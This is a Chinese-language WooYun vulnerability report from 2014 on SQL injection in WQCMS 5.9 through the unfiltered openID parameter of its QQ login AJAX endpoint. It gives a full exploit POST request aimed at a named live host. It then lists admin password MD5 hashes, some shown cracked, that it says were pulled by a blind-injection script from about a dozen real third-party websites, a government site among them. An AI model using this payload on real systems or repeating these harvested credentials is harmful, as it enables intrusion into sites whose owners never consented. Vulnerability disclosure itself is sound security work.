当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070557

漏洞标题:wqcms5.9sql注入以及后台getshell

相关厂商:wangqi.com

漏洞作者: nk_z

提交时间:2014-08-01 17:05

修复时间:2014-08-06 17:06

公开时间:2014-08-06 17:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

wqcms5.9注册的时候提供了一个qq登录接口,通过qq接口获取openid存入数据库中,但是未对这个openid进行过滤导致sql注入

详细说明:

原理
漏洞文件位置:bin/wqcms_Pages.dll
反编译找到wqcms.Pages.Ajax这个类中xf9a399572f1fa0d0(bool xf26bd65482aef7ff0)这个方法
其中接收到的参数openID只做了html编码就传入到sql语句中造成的sql注入
下面是代码截图:

t01fb1c5feee1ab1199.jpg


漏洞证明:

1利用方法.构造post数据包
POST /ajax.aspx HTTP/1.1
Host: web3314321.gy234.badudns.cc
Accept: application/json, text/javascript, */*; q=0.01
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Origin: http://10.211.55.16
Content-Length: 48
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4
Referer: http://10.211.55.16/default.aspx
cmd=qqlogin&openID=12'(盲注注入点)&nickname=admin&appType=12
然后发送就可以了
下面是通过自己写的盲注脚本可以获取的账号密码
web3314321.gy234.badudns.cc该站点用户名为admin密码md5为
下面是其他站点wqcms5.9注入获取的数据(有些md5是需要收费的所以没破解)
http://ypit.ypskz.com.cn eec81904e076e9737add0a50274374f5 65043696
http://www.lswq.net c2d00ad6363a62c6d05acfa6a8d5642a
http://www.llxdyzx.cn dc917b327006fa5b97e152048ecd3a43
http://jssqdzxjxky.aedu.co 21232f297a57a5a743894a0e4a801fc3 admin
http://www.xsyhzx.com 258d0faa256837b17b1224f9071d90cf
http://www.pjxx.jzjtj.net 7e53e92920524038ff4f7492b8f8aea3 86250141
http://jianxin.jnbus.com 21232f297a57a5a743894a0e4a801fc3 admin
http://www.qtzx.cn 8400323c53281bfa30f10504c22e1d43
http://www.dnfxiaoyouxi.com 17ad1bc3d7ec9fef3bba75947df01b2d
http://itep.wenliedu.com e3a79453e05af2e18bdc056cd9f3340b
http://www.mpacc.cc 43f26fcf509cc4f4df3f304fb0140261
http://www.hlbrjs.gov.cn 65815301d5a46798b17fcdb55bf4b310

修复方案:

过滤openid参数

版权声明:转载请注明来源 nk_z@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-06 17:06

厂商回复:

最新状态:

暂无